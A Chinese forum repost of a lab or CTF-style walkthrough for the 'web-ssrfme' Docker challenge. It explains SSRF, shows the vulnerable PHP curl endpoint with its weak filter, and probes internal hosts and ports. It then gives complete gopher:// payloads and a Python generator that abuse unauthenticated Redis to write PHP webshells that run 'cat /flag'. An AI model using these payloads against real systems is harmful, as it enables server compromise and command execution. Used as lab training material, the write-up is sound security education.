• 设为首页
  • 收藏本站
  • 积分充值
  • VIP赞助
  • 手机版
  • 微博
  • 微信
    微信公众号 添加方式:
    1:搜索微信号(888888
    2:扫描左侧二维码
  • 快捷导航
    福建二哥 门户 查看主题

    Web-ssrfme:redis 未授权访问攻击的问题解决

    发布者: 皮3591 | 发布时间: 2025-6-19 12:39| 查看数: 129| 评论数: 0|帖子模式

    SSRF简介

    SSRF(Server - Side Request Forgery,服务器端请求伪造)是一种网络安全漏洞,攻击者利用目标服务器的漏洞,构造恶意请求,让服务器代替攻击者去访问其他内部或外部资源,从而实现攻击目的。以下是关于 SSRF 的详细介绍:

    原理


    • SSRF 漏洞通常发生在服务器端应用程序中,这些应用程序会根据用户的输入或其他条件发起对其他服务器或资源的请求。攻击者通过构造精心设计的请求,篡改目标服务器的请求参数,使得服务器发送请求到攻击者指定的目标,而这个目标可能是内部网络中的敏感服务器、外部的恶意服务器或者是一些受限制的资源。

    攻击方式


    • 探测内部网络信息:攻击者可以利用 SSRF 漏洞让目标服务器去访问内部网络中的其他服务器,通过分析响应信息来获取内部网络的拓扑结构、服务器列表、端口开放情况等信息,为进一步攻击做准备。
    • 攻击内部服务:如果内部网络中的某些服务存在漏洞,攻击者可以利用 SSRF 漏洞让目标服务器向这些服务发送恶意请求,从而触发漏洞,实现对内部服务的攻击,如获取敏感数据、执行命令等。
    • 发起中间人攻击:攻击者可以将目标服务器作为中间人,通过 SSRF 漏洞让其向外部服务器发送请求,并在请求过程中篡改请求内容或窃取响应信息,从而实现对通信过程的监听和篡改。
    • 利用第三方服务进行攻击:有些应用程序会调用第三方服务来完成某些功能,攻击者可以利用 SSRF 漏洞篡改对第三方服务的请求,让目标服务器向第三方服务发送恶意请求,利用第三方服务的漏洞来实现攻击目的。

    项目部署

    首先下载web-ssrfme.zip,然后放到虚拟机内,unzip解压,然后CD到含有docker-compose.yml文件夹目录下输入指令进行拖拽docker镜像
    1. docker-compose up -d
    复制代码

    访问网站


    发现漏洞
    1. <?php
    2. highlight_file(__file__);
    3. function curl($url){  
    4.     $ch = curl_init();
    5.     curl_setopt($ch, CURLOPT_URL, $url);
    6.     curl_setopt($ch, CURLOPT_HEADER, 0);
    7.     echo curl_exec($ch);
    8.     curl_close($ch);
    9. }

    10. if(isset($_GET['url'])){
    11.     $url = $_GET['url'];

    12.     if(preg_match('/file\:\/\/|dict\:\/\/|\.\.\/|127.0.0.1|localhost/is', $url,$match))
    13.     {

    14.         die('No, No, No!');
    15.     }
    16.     curl($url);
    17. }
    18. if(isset($_GET['info'])){
    19.     phpinfo();
    20. }
    21. ?>
    复制代码
    源码中过滤了file协议、dict协议、127.0.0.1和localhost
    但没有过滤http协议和gopher协议我们使用http协议进行内网主机存活探测。
    1. ?url=https://www.baidu.com
    复制代码

    代码中我们还可以查看phpinfo的信息
    1. ?info
    复制代码

    查看该页面信息发现当前主机的内网ip为172.18.0.3

    探测该网段上存活的主机
    1. ?url=172.18.0.1:80
    复制代码
    1. ?url=172.18.0.2:80
    复制代码

    说明172.17.0.2是内网中存活的另一台主机,并且上面也运行着http服务。但是当前还不能找到攻下这台内网主机的突破口,我们可以使用ssrf扫描一下这个内网主机的端口,这里使用burpsuite:


    开始爆破

    发现除了80端口有显示,还有6379端口有一个报错,
    这是redis的报错,这个错误提示表明在执行 Redis 的
    1. GET
    复制代码
    命令时,传入的参数数量不正确。说明这台内网主机上还运行着redis服务。

    redis 未授权访问攻击

    接着我们便可以尝试 redis 未授权了,由于这台内网主机上还存在一个http服务,所以我们可以将webshell写入其web目录,然后用ssrf进行访问。
    这里我们可以利用gopherus工具,或者利用python代码

    第一次尝试
    1. ./gopherus.py --exploit redis
    复制代码

    当然要将前面的ip改为172.18.0.2,因为这个ip下运行着redis端口为6379
    1. http://172.25.254.145:8091/?url=gopher://172.18.0.2:6379/_*1%0D%0A%248%0D%0Aflushall%0D%0A*3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2420%0D%0A%0A%0A%3C%3Fphp%20phpinfo()%3B%0A%0A%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A*4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A*1%0D%0A%244%0D%0Asave%0D%0A%0A
    复制代码

    猜测路径不是默认路径/var/www/html,可能是其目录下的子文件夹,我们使用burp扫一下都有哪些目录,发现有个upload目录。


    访问80端口的upload文件夹,发现是forbidden而不是not found


    第二次尝试

    我们继续利用工具进行payload生成

    发现还是不行,原因是没有进行url编码

    第三次尝试

    由于浏览器执行代码时会先进行url解码,所以我们需要将其进行url编码

    测试,然后访问文件

    成功,进入docker中查看该文件
    1. docker exec -it b990fe7e910d /bin/bash
    复制代码


    当然还可以利用python代码来实现构造一个利用 Redis 漏洞来执行特定命令的 Gopher 协议的请求 Payload,如下
    1. import urllib.parse

    2. protocol = "gopher://"
    3. ip = "172.18.0.2"  # 运行着redis的内网主机ip
    4. port = "6379"
    5. shell = "\n\n<?php system("cat /flag");?>\n\n"
    6. filename = "aaaa.php"
    7. path = "/var/www/html/upload"
    8. passwd = ""
    9. cmd = [
    10.     "flushall",
    11.     f"set 1 {shell.replace(' ', '${IFS}')}",
    12.     f"config set dir {path}",
    13.     f"config set dbfilename {filename}",
    14.     "save"
    15. ]

    16. if passwd:
    17.     cmd.insert(0, f"AUTH {passwd}")
    18. payload = protocol + ip + ":" + port + "/_"


    19. def redis_format(arr):
    20.     CRLF = "\r\n"
    21.     redis_arr = arr.split(" ")
    22.     cmd = ""
    23.     cmd += "*" + str(len(redis_arr))
    24.     for x in redis_arr:
    25.         cmd += CRLF + "$" + str(len(x.replace("${IFS}", " "))) + CRLF + x.replace("${IFS}", " ")
    26.     cmd += CRLF
    27.     return cmd


    28. if __name__ == "__main__":
    29.     for x in cmd:
    30.         payload += urllib.parse.quote(redis_format(x))
    31.     print(payload)
    复制代码
    结果:
    1. gopher://172.18.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%248%0D%0Aaaaa.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A
    复制代码
    同样进行url编码

    执行它,同样也在docker下的/var/www/html/upload生成了aaaa.php文件

    访问它

    成功。
    到此这篇关于Web-ssrfme:redis 未授权访问攻击的问题解决的文章就介绍到这了,更多相关Web-ssrfme:redis 未授权访问攻击内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

    来源:https://www.jb51.net/database/3387697o7.htm
    免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

    本帖子中包含更多资源

    您需要 登录 才可以下载或查看,没有账号?立即注册

    ×

    最新评论

    浏览过的版块

    QQ Archiver 手机版 小黑屋 福建二哥 ( 闽ICP备2022004717号|闽公网安备35052402000345号 )

    Powered by Discuz! X3.5 © 2001-2023

    快速回复 返回顶部 返回列表